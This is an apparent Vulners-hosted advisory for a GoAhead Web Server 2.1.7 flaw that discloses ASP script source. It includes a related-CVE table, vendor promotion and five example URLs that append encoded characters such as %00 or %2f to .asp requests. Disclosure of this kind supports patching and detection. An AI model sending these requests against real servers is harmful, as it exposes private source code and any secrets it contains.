GoAhead Web Server 2.1.x - '.ASP' File Source Code Disclosure
| Reporter | Title | Published | Views | Family All 13 |
|---|---|---|---|---|
 | CVE-2007-6702 | 4 Mar 200819:44 | – | attackerkb |
 | CVE-2002-1603 | 25 Mar 200505:00 | – | cve |
 | CVE-2002-1603 | 25 Mar 200505:00 | – | cvelist |
 | CVE-2002-1603 | 13 Feb 200205:00 | – | nvd |
 | Embedthis GoAhead < 2.1.8 Script Source Code Disclosure Vulnerability - Active Check | 22 Aug 200800:00 | – | openvas |
| GoAhead WebServer Script Source Code Disclosure | 22 Aug 200800:00 | – | openvas |
 | Rockwellautomation Controllogix Exposure of Sensitive Information to an Unauthorized Actor | 8 Nov 201900:00 | – | nessus |
| Rockwell Automation ControlLogix Exposure of Sensitive Information to an Unauthorized Actor (CVE-2009-0474) | 7 Feb 202200:00 | – | nessus |
 | Default credentials | 4 Mar 200819:44 | – | prion |
| Design/Logic Flaw | 6 Feb 200919:30 | – | prion |
10
source: https://www.securityfocus.com/bid/9239/info
A vulnerability in GoAhead webserver may result in the disclosure of the source code of ASP script files. The vulnerability occurs because the application fails to sanitize HTTP requests.
An attacker can append certain characters to the end of an HTTP request for a specific ASP file. As a result, GoAhead webserver will disclose the contents of the requested ASP script file to the attacker.
This issue affects GoAhead 2.1.7 and earlier.
http://www.example.com/asp.asp%00
http://www.example.com/asp.asp%2f
http://www.example.com/asp.asp%5c
http://www.example.com/asp.asp/
http://www.example.com/asp.aspData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
16 Dec 2012 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 25
EPSS0.13671